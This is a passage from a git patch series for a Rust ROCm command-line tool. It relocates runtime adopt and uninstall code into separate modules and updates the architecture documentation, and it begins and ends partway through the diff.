Some(python_executable.as_path().to_string_lossy().as_ref()) - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_rejects_runtime_id_without_family() -> Result<()> { - let (root, paths) = test_paths("runtime-adopt-no-family"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - let sdk_root = external_root.join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - fs::write(&python_executable, "python")?; - - let error = adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable, - install_root: external_root, - runtime_id: "therock-release".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: false, - }, - therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root), - bin_path: Some(sdk_bin), - ..therock::RocmSdkPythonProbe::default() - }, - ) - .unwrap_err() - .to_string(); - - assert!(error.contains("must include a TheRock family suffix")); - assert!(!runtime_registry_dir(&paths).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_refuses_to_overwrite_without_replace() -> Result<()> { - let (root, paths) = test_paths("runtime-adopt-replace"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - let sdk_root = external_root.join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - let amdhip = sdk_bin.join(if cfg!(windows) { - "amdhip64_7.dll" - } else { - "libamdhip64.so" - }); - let hipblas = sdk_bin.join(if cfg!(windows) { - "hipblas.dll" - } else { - "libhipblas.so" - }); - fs::write(&python_executable, "python")?; - fs::write(&amdhip, "amdhip")?; - fs::write(&hipblas, "hipblas")?; - - let probe = therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root.clone()), - bin_path: Some(sdk_bin.clone()), - runtime_roots: vec![sdk_root], - bin_paths: vec![sdk_bin.clone()], - library_paths: vec![sdk_bin], - resolved_libraries: vec![ - therock::RocmSdkLibraryProbe { - shortname: "amdhip64".to_owned(), - paths: vec![amdhip], - }, - therock::RocmSdkLibraryProbe { - shortname: "hipblas".to_owned(), - paths: vec![hipblas], - }, - ], - ..therock::RocmSdkPythonProbe::default() - }; - let request = AdoptRuntimeRequest { - python_executable: python_executable.clone(), - install_root: external_root.clone(), - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: false, - }; - - adopt_runtime_from_probe(&paths, request.clone(), probe.clone())?; - let error = adopt_runtime_from_probe(&paths, request, probe.clone()) - .unwrap_err() - .to_string(); - assert!(error.contains("already exists")); - - adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable, - install_root: external_root, - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: true, - }, - probe, - )?; - - let _ = fs::remove_dir_all(root); - Ok(()) - } } diff --git a/docs/architecture.md b/docs/architecture.md index b32e8042d0..5510d99c20 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -62,11 +62,12 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`model_fit.rs`](../apps/rocm/src/model_fit.rs) — mechanical relocation, owns a `pub(crate)` type: answering whether a host can run a model for `rocm diagnose --model` (`assess_model_on_this_host`, `assess_model_with_host_paths`, `assess_model_for_host`), the accelerator-memory fact it rests on (`host_accelerator_memory`, `classify_accelerator_memory`, `examination_reports_amd_gpu`) and the platform gate that rules an engine out (`PlatformRuleOut`, `engine_ruled_out_by_platform`, `unsupported_here_for`). It is a module of its own, rather than part of the `diagnose` handler, so [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs), which reads `PlatformRuleOut` and `engine_ruled_out_by_platform`, does not depend on a command module. It depends on [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`select_serve_engine`) and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs), neither of which depends on it. `assess_model_on_this_host` (called from [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs)), `PlatformRuleOut` and `engine_ruled_out_by_platform` are `pub(crate)`, and [`main.rs`](../apps/rocm/src/main.rs) re-imports the last two so `examine_report_text.rs` reaches them as `crate::`; every other item is private. The cluster's regression tests live in this module's own `mod tests`; the one that re-runs the test binary on a helper test by its full path (`engine_ruled_out_by_platform_gates_aim_on_docker_reachability`) names the helper's new path, `model_fit::tests::docker_unreachable_subprocess_helper`. - [`provider_keys.rs`](../apps/rocm/src/provider_keys.rs) — full domain extraction. - [`providers.rs`](../apps/rocm/src/providers.rs) — full domain extraction (no dedicated command enum; invoked from the existing chat/config command flows). +- [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): registering a runtime that `rocm install sdk` did not install. `import_runtime_manifest` records a manifest written elsewhere, `adopt_runtime_from_python_options` (with `AdoptRuntimeOptions`, `AdoptRuntimeRequest`, `infer_adopt_runtime_request` and `adopt_runtime_from_probe`) probes an existing Python environment and registers it, and `recover_setup_runtime_registration` registers the runtime `rocm setup` created, with `newest_installed_runtime_manifest` and `setup_runtime_paths` beside it. It depends on [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) (manifest paths, activation validation, `paths_equivalent`) and `therock.rs`, not on `runtimes_cmd.rs`, which calls into it and re-exports `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths`. `import_runtime_manifest`, `AdoptRuntimeOptions`, `adopt_runtime_from_python_options` (with the fields of `AdoptRuntimeOptions` and `AdoptRuntimeRequest`) and `adopt_runtime_from_probe` are `pub(crate)` for `runtimes()` and for the `runtimes_cmd.rs` tests that adopt or import a runtime and then list or activate it; the rest is private. Its tests cover the import and adopt rules that do not involve activation or listing. - [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `main.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `main.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. - [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs) — full domain extraction, a child of `runtime_install_finalize.rs` that depends on its parent's device check (`RuntimeDeviceCheck`, `device_check_verdict`) and on `runtime_manifest_for_selector` in [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): what to do about the torch an engine install finds in a managed runtime. `plan_torch_alignment` decides whether the SDK's torch must be realigned to the engine's pin, `align_runtime_torch` runs the realignment, `classify_retained_torch` decides when a torch that already works is kept as an intended divergence instead, and the `render_*` and `report_*` functions with `TorchAlignment` and `TorchRetention` print and log the outcome. The manifest readers (`sdk_torch_build_for_key`, `sdk_torch_build_from_manifest`, `runtime_python_for_key`, `runtime_library_paths_for_key`, `runtime_index_url_for_key`) live here too. The parent stays the caller (`settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`), so it could not be a crate-level sibling without a cycle with the parent's device check. The items the parent calls are `pub(super)`: `TorchAlignment`, `TorchRetention`, `report_torch_alignment`, `report_torch_retention`, `classify_retained_torch`, `retained_diverged_package`, `deliberately_diverged_package`, `sdk_torch_build_for_key`, `runtime_python_for_key` and `runtime_library_paths_for_key`; the rest is private. Its tests cover planning, rendering, the opt-out and the retention rules, and reach the parent's private engine-dependency check as a descendant of it. -- [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. +- [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). It also holds `paths_equivalent` and `normalize_path_for_compare`, the path comparison that [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) and `runtimes_cmd.rs` both need. `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. - [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) — full domain extraction; reads the live local servers at activation time, classifies each against the runtime being activated, renders the report, and moves stale ones with `--restart-services`. `fn runtimes()` lives in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) and `RuntimesCommand` in [`main.rs`](../apps/rocm/src/main.rs); this file owns `ServiceRuntimeState`/`RuntimeServiceEntry`/`FailedServiceRestart`/`UnconfirmedServiceRestart`/`ServiceRestartOutcome`/`RuntimeServiceReconciliation`/`ServiceRuntimePin`, reached from `runtimes_cmd.rs` via `crate::runtime_services`. -- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback/uninstall/import/adopt handlers, plus the runtime list rendering; registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` and `ActiveRuntimeMarker` are `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary` and from [`storage.rs`](../apps/rocm/src/storage.rs) respectively; `normalize_path_for_compare`/`recover_setup_runtime_registration` are also `pub(crate)`, read from other modules such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) and [`comfyui.rs`](../apps/rocm/src/comfyui.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. +- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback/uninstall handlers, plus the runtime list rendering; the import and adopt handlers it dispatches to live in [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs); registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` and `ActiveRuntimeMarker` are `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary` and from [`storage.rs`](../apps/rocm/src/storage.rs) respectively; `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` and `setup_runtime_paths` (from `runtime_adopt.rs`) and `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported for the modules that import them from here, such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) and [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. - [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) — mechanical relocation, owns types (Phase 6a): `serve()`, plus engine-recipe overrides and the AIM pre-flight that runs inside it: the Hugging Face token check, the GPU-family profile check and pin, the multi-GPU refusal (`aim_gpu_preflight`), and AIM-aware default engine selection (`recipe_preferred_engine`). It also holds `collect_serve_notes`, the GPU/device warnings folded into the interactive summary, which was relocated here from `main.rs` with its two tests. - [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs) — full domain extraction. - [`service_hints.rs`](../apps/rocm/src/service_hints.rs) — shared CLI-output component: the `rocm services stop|restart|remove --yes` hint text, shared by [`remote/mod.rs`](../apps/rocm/src/remote/mod.rs), [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs), [`service_launch.rs`](../apps/rocm/src/service_launch.rs), [`service_records.rs`](../apps/rocm/src/service_records.rs), [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs), and [`services_text.rs`](../apps/rocm/src/services_text.rs) so they cannot go out of sync with each other, as `serve_summary.rs`'s stop row did from the day it was added — #417. It also holds the helpers that map a service tool name to the command word, verb and past tense those hints and messages use (`service_action_command`, `service_action_verb`, `service_action_past_tense`) and to its `SandboxToolArg` (`sandbox_tool_arg_from_service_tool`); [`services_text.rs`](../apps/rocm/src/services_text.rs) reads `service_action_past_tense` from here rather than through the crate root. From f6bd8513e82c9d05319e7c43d94f715f4a01f9b8 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 18:20:12 +0000 Subject: [PATCH 07/12] refactor(rocm): move runtime uninstall out of runtimes_cmd.rs into runtime_uninstall.rs Step 7 of 7. runtime_uninstall.rs holds `rocm runtimes uninstall` and the storage pruning that removes a registered runtime: RuntimeUninstallResult, InstallRootDecision, RuntimeUninstallPlan, plan_runtime_uninstall, print_runtime_uninstall_plan, revalidate_runtime_uninstall_plan, RuntimeUninstallConfirmation, confirm_and_revalidate_runtime_uninstall, uninstall_runtime, apply_runtime_uninstall, should_remove_runtime_install_root, local_runtime_manifest_matches and ensure_runtime_install_root_is_safe_to_remove. Uninstall reads the active-runtime marker, so ActiveRuntimeMarker, active_runtime_marker_path and active_runtime_marker_matches move first, in this same step, to runtime_registry.rs; leaving them in runtimes_cmd.rs would make runtime_uninstall and runtimes_cmd a cycle. write_active_runtime_marker stays with the activation transaction. ActiveRuntimeMarker is user state on disk. Its derive, field names, field types and field order are unchanged, so its serde shape is unchanged; only the visibility of its fields changes. Moved code is identical apart from the edits below. Non-move edits: - Visibility: the fields of ActiveRuntimeMarker become pub(crate) because activate_runtime and rollback_runtime build it and tests read it. RuntimeUninstallPlan, RuntimeUninstallConfirmation, plan_runtime_uninstall, print_runtime_uninstall_plan, confirm_and_revalidate_runtime_uninstall and apply_runtime_uninstall become pub(crate), and so do the fields of RuntimeUninstallResult that runtimes() reads, because runtimes() calls the uninstall flow across the module boundary. active_runtime_marker_matches becomes pub(crate) in runtime_registry.rs. revalidate_runtime_uninstall_plan and the folder-safety helpers stay private. - runtimes_cmd.rs re-exports uninstall_runtime, should_remove_runtime_install_root and InstallRootDecision from runtime_uninstall, and ActiveRuntimeMarker and active_runtime_marker_path from runtime_registry, so storage.rs and main.rs keep their imports. It imports the five uninstall names runtimes() calls, and drops the imports only the moved code used (the std path types and serde derives at the top level, and two rocm_core names); its test module imports PathBuf itself. - runtime_uninstall.rs takes the registry names it needs (marker check and path, paths_equivalent, manifest selection) from runtime_registry directly, and uses no item of runtimes_cmd.rs. - Thirteen tests move with the code. The one uninstall test that first activates a runtime, and the tests that exercise the activation transaction through the marker, stay in runtimes_cmd.rs, since moving them would give runtime_uninstall's tests a dependency on runtimes_cmd. The moved uninstall test that imports a manifest takes import_runtime_manifest from runtime_adopt. - Module docs: the runtimes_cmd.rs and runtime_registry.rs headers name the new module and the marker; docs/architecture.md gets an entry for the new file and rewritten runtimes_cmd.rs and runtime_registry.rs entries. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/main.rs | 1 + apps/rocm/src/runtime_registry.rs | 49 +- apps/rocm/src/runtime_uninstall.rs | 888 +++++++++++++++++++++++++++ apps/rocm/src/runtimes_cmd.rs | 925 +---------------------------- docs/architecture.md | 5 +- 5 files changed, 961 insertions(+), 907 deletions(-) create mode 100644 apps/rocm/src/runtime_uninstall.rs diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index fa1c83a707..b153d74d4b 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -49,6 +49,7 @@ mod runtime_adopt; mod runtime_install_finalize; mod runtime_registry; mod runtime_services; +mod runtime_uninstall; mod runtimes_cmd; mod serve_cmd; mod serve_summary; diff --git a/apps/rocm/src/runtime_registry.rs b/apps/rocm/src/runtime_registry.rs index 79ace5e3ef..9f9fa17ce7 100644 --- a/apps/rocm/src/runtime_registry.rs +++ b/apps/rocm/src/runtime_registry.rs @@ -10,15 +10,19 @@ //! This is a crate-level module that depends on neither `therock` (which writes //! manifests when it installs a runtime) nor `runtimes_cmd` (which lists and //! activates them); both build on it. `runtimes_cmd` re-exports the selection -//! and path-helper names that other modules import from it, but it and -//! `runtime_adopt` still reach the manifest model (the manifest and probe types -//! and the loaders) through `therock`'s re-exports, along with a few `therock` -//! helpers. So `runtimes_cmd` depends on `therock`, while `therock` no longer -//! depends on `runtimes_cmd` in production code. It also holds -//! `paths_equivalent` and `normalize_path_for_compare`, which adopt and -//! uninstall both need. The serde shape of -//! [`InstalledRuntimeManifest`] and its probe structs is the on-disk contract of -//! the registry files and of each install's `.rocm-cli-runtime.json`. +//! and path-helper names that other modules import from it, but it, +//! `runtime_adopt` and `runtime_uninstall` still reach the manifest model (the +//! manifest and probe types and the loaders) through `therock`'s re-exports, +//! along with a few `therock` helpers. So `runtimes_cmd` depends on `therock`, +//! while `therock` no longer depends on `runtimes_cmd` in production code. It +//! also holds `paths_equivalent` and `normalize_path_for_compare`, which adopt +//! and uninstall both need, and the on-disk active-runtime marker +//! (`ActiveRuntimeMarker`, `active_runtime_marker_path`, +//! `active_runtime_marker_matches`) that activation writes and uninstall reads +//! and clears. The serde shape of [`InstalledRuntimeManifest`] and its probe +//! structs is the on-disk contract of the registry files and of each install's +//! `.rocm-cli-runtime.json`; the marker is user state too, and its serde shape +//! is as fixed. use anyhow::{Context, Result, bail}; use rocm_core::{ @@ -660,6 +664,33 @@ pub(crate) fn normalize_path_for_compare(path: &Path) -> PathBuf { std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) } +#[derive(Debug, Clone, Serialize, Deserialize)] +pub(crate) struct ActiveRuntimeMarker { + pub(crate) runtime_id: String, + pub(crate) runtime_key: String, + pub(crate) manifest_path: PathBuf, + pub(crate) install_root: PathBuf, + pub(crate) previous_runtime_id: Option, + pub(crate) previous_runtime_key: Option, + pub(crate) activated_at_unix_ms: u128, +} + +pub(crate) fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result { + let marker_path = active_runtime_marker_path(paths); + if !marker_path.is_file() { + return Ok(false); + } + let bytes = fs::read(&marker_path) + .with_context(|| format!("failed to read {}", marker_path.display()))?; + let marker: ActiveRuntimeMarker = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", marker_path.display()))?; + Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) +} + +pub(crate) fn active_runtime_marker_path(paths: &AppPaths) -> PathBuf { + paths.data_dir.join("runtimes").join("active.json") +} + #[cfg(test)] mod tests { use super::*; diff --git a/apps/rocm/src/runtime_uninstall.rs b/apps/rocm/src/runtime_uninstall.rs new file mode 100644 index 0000000000..8b102383e6 --- /dev/null +++ b/apps/rocm/src/runtime_uninstall.rs @@ -0,0 +1,888 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! `rocm runtimes uninstall`: planning the removal of a registered runtime, +//! re-validating that plan after the confirmation prompt, and applying it +//! (unregistering the runtime, clearing the active and default state that named +//! it, and removing its install root when ROCm CLI owns it). +//! +//! Relocated from `runtimes_cmd.rs` with no behavior change. `runtimes_cmd.rs` +//! calls into this module from `runtimes()` and re-exports `uninstall_runtime`, +//! `should_remove_runtime_install_root` and `InstallRootDecision` for +//! `storage.rs`. The active-runtime marker check this module makes +//! (`active_runtime_marker_matches`, over the `ActiveRuntimeMarker` the +//! activation writes) and the path comparison it needs live in +//! `runtime_registry.rs`, so this module does not depend on `runtimes_cmd.rs`. + +use std::fs; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result, bail}; +use rocm_core::{AppPaths, RocmCliConfig, runtime_install_root_is_protected}; + +use crate::cli_report; +use crate::runtime_registry::{ + active_runtime_marker_matches, active_runtime_marker_path, current_runtime_manifest, + paths_equivalent, runtime_manifest_path, select_runtime_manifest, +}; +use crate::therock; + +#[derive(Debug, Clone)] +pub(crate) struct RuntimeUninstallResult { + pub(crate) runtime_id: String, + pub(crate) runtime_key: String, + pub(crate) registry_path: PathBuf, + pub(crate) removed_install_root: Option, + pub(crate) read_only: bool, + pub(crate) manifest_mismatch: bool, + pub(crate) was_active: bool, + pub(crate) default_runtime_cleared: bool, +} + +/// A runtime's install folder is only ever removed when ROCm CLI is confident +/// it owns that folder; `ReadOnly` and `ManifestMismatch` are distinct reasons +/// for leaving it alone, surfaced separately so a real problem (a stale or +/// corrupt local manifest) doesn't look identical to an intentional no-op. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum InstallRootDecision { + Remove, + ReadOnly, + ManifestMismatch, +} + +impl InstallRootDecision { + pub(crate) const fn should_remove(self) -> bool { + matches!(self, Self::Remove) + } +} + +#[derive(Debug, Clone)] +pub(crate) struct RuntimeUninstallPlan { + manifest: therock::InstalledRuntimeManifest, + registry_path: PathBuf, + was_active: bool, + /// Whether applying this plan will clear `config.default_runtime_id`. + /// This is true when the config's default still points at this + /// manifest's `runtime_id` and either this manifest was the active one, + /// or it is the last remaining install sharing that `runtime_id` (the + /// id is shared across side-by-side installs, so removing one sibling + /// does not by itself orphan the default while others remain). + clears_default_runtime: bool, + install_root_decision: InstallRootDecision, +} + +impl RuntimeUninstallPlan { + fn will_remove_install_root(&self) -> bool { + self.install_root_decision.should_remove() && self.manifest.install_root.exists() + } +} + +pub(crate) fn print_runtime_uninstall_plan(plan: &RuntimeUninstallPlan) { + let install_folder = if plan.will_remove_install_root() { + format!( + "{} (would be removed)", + plan.manifest.install_root.display() + ) + } else { + match plan.install_root_decision { + InstallRootDecision::Remove => "not present, nothing to remove".to_owned(), + InstallRootDecision::ReadOnly => { + "left untouched (external/read-only runtime)".to_owned() + } + InstallRootDecision::ManifestMismatch => { + "left untouched (local runtime manifest did not match the registry)".to_owned() + } + } + }; + + let mut report = cli_report::ActionReport::new("runtime uninstall plan") + .detail("runtime_id", &plan.manifest.runtime_id) + .detail("runtime_key", &plan.manifest.runtime_key) + .detail("registry_entry", plan.registry_path.display()) + .detail("install_folder", install_folder); + if plan.clears_default_runtime { + report = report.detail("default_runtime", "would be cleared"); + } + print!("{}", report.render()); +} + +pub(crate) fn plan_runtime_uninstall( + paths: &AppPaths, + config: &RocmCliConfig, + selector: &str, +) -> Result { + let manifests = therock::load_runtime_manifests(paths)?; + let manifest = select_runtime_manifest(&manifests, selector)?.clone(); + let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); + let was_active = current_runtime_manifest(config, &manifests) + .is_some_and(|current| current.runtime_key == manifest.runtime_key); + let clears_default_runtime = config + .default_runtime_id + .as_deref() + .is_some_and(|runtime_id| runtime_id.eq_ignore_ascii_case(&manifest.runtime_id)) + && (was_active + || !manifests.iter().any(|other| { + other.runtime_key != manifest.runtime_key + && other.runtime_id.eq_ignore_ascii_case(&manifest.runtime_id) + })); + let install_root_decision = should_remove_runtime_install_root(&manifest)?; + Ok(RuntimeUninstallPlan { + manifest, + registry_path, + was_active, + clears_default_runtime, + install_root_decision, + }) +} + +/// Re-derives the uninstall plan from disk and refuses to proceed if it no +/// longer matches what the user approved. The interactive confirmation this +/// guards can wait indefinitely; if another process activates a different +/// runtime or replaces the install folder while the prompt is open, applying +/// the stale plan could clear the wrong `active_runtime_key` or recursively +/// delete a folder that is no longer the one that was vetted as safe to +/// remove. +fn revalidate_runtime_uninstall_plan( + paths: &AppPaths, + config: &RocmCliConfig, + plan: RuntimeUninstallPlan, +) -> Result { + let fresh = plan_runtime_uninstall(paths, config, &plan.manifest.runtime_key)?; + if fresh.manifest.runtime_id != plan.manifest.runtime_id + || fresh.manifest.install_root != plan.manifest.install_root + || fresh.was_active != plan.was_active + || fresh.clears_default_runtime != plan.clears_default_runtime + || fresh.install_root_decision != plan.install_root_decision + { + bail!( + "runtime state for {} changed while waiting for confirmation; re-run `rocm runtimes uninstall {}` to review the current plan before approving it", + plan.manifest.runtime_key, + plan.manifest.runtime_key + ); + } + Ok(fresh) +} + +pub(crate) enum RuntimeUninstallConfirmation { + Cancelled, + // `RuntimeUninstallPlan`/`RocmCliConfig` are large; box them so the two + // variants stay a similar size (clippy::large_enum_variant). + Confirmed { + plan: Box, + config: Box, + }, +} + +/// Runs the confirm-then-revalidate sequence used by an interactive +/// `runtimes uninstall`: waits for the caller-supplied confirmation, then +/// reloads config from disk and re-derives the plan against it, so a state +/// change that happened while the (potentially indefinite) prompt was open +/// cannot be applied against stale data. +pub(crate) fn confirm_and_revalidate_runtime_uninstall( + paths: &AppPaths, + plan: RuntimeUninstallPlan, + confirm: impl FnOnce() -> Result, +) -> Result { + if !confirm()? { + return Ok(RuntimeUninstallConfirmation::Cancelled); + } + let config = RocmCliConfig::load(paths)?; + let plan = revalidate_runtime_uninstall_plan(paths, &config, plan)?; + Ok(RuntimeUninstallConfirmation::Confirmed { + plan: Box::new(plan), + config: Box::new(config), + }) +} + +pub(crate) fn uninstall_runtime( + paths: &AppPaths, + config: &mut RocmCliConfig, + selector: &str, +) -> Result { + let plan = plan_runtime_uninstall(paths, config, selector)?; + apply_runtime_uninstall(paths, config, plan) +} + +pub(crate) fn apply_runtime_uninstall( + paths: &AppPaths, + config: &mut RocmCliConfig, + plan: RuntimeUninstallPlan, +) -> Result { + let RuntimeUninstallPlan { + manifest, + registry_path, + was_active, + clears_default_runtime, + install_root_decision, + } = plan; + + let mut removed_install_root = None; + if install_root_decision.should_remove() && manifest.install_root.exists() { + fs::remove_dir_all(&manifest.install_root).with_context(|| { + format!( + "failed to remove runtime folder {} - the runtime registry entry has not \ + been removed yet, so `rocm runtimes list` will still show this runtime as \ + installed and pointing at this (now possibly partially deleted) folder \ + until the removal succeeds", + manifest.install_root.display() + ) + })?; + removed_install_root = Some(manifest.install_root.clone()); + } + + if registry_path.exists() { + fs::remove_file(®istry_path).with_context(|| { + format!( + "failed to remove 